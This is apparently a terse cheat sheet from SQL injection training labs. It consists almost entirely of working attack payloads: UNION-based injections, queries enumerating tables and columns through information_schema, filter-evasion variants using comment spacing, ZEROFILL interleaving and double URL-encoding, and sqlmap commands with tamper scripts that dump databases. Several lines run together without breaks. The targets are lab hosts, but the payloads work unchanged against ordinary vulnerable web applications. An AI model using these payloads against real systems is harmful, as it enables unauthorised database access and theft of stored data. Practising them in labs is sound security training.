SQL Injection
Last updated
Last updated
' UNION SELECT user(); -- -
otherise save the request from Burp and use SQLMap
sqlmap -r level1 --banner -D 1sqlilabs -T browsers --dumpsqlmap -u 'http://2.sqli.labs/' -p user-agent --user-agent=elsagent --technique=B --banner/'/**/UNION/**/SELECT/**/@@version;#
sqlmap -u 'http://3.sqli.labs/' -p user-agent --user-agent=blah --banner --tamper=space2comment
'UNION(select('PoC String'));## Enumerating the tables
'union(SELECT(group_concat(table_name))FROM(information_schema.columns)where(table_schema=database()));#
# Enumerating the columns
'union(SELECT(group_concat(column_name))FROM(information_schema.columns)where(table_name='secretcustomers'));#' uZEROFILLnZEROFILLiZEROFILLoZEROFILLnZEROFILL ZEROFILLsZEROFILLeZEROFILLlZEROFILLeZEROFILLcZEROFILLt ZEROFILL@@ZEROFILLvZEROFILLeZEROFILLrZEROFILLsZEROFILLiZEROFILLoZEROFILLnZEROFILL; ZEROFILL-- ZEROFILL-ZEROFILL%61%61%61%61%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%3b%20%2d%2d%20%2d%25%36%31%25%36%31%25%36%31%25%36%31%25%32%37%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%34%30%25%34%30%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%33%62%25%32%30%25%32%64%25%32%64%25%32%30%25%32%64sqlmap -u 'http://9.sqli.labs/' -p user-agent --tamper=chardoubleencode --banner --level=3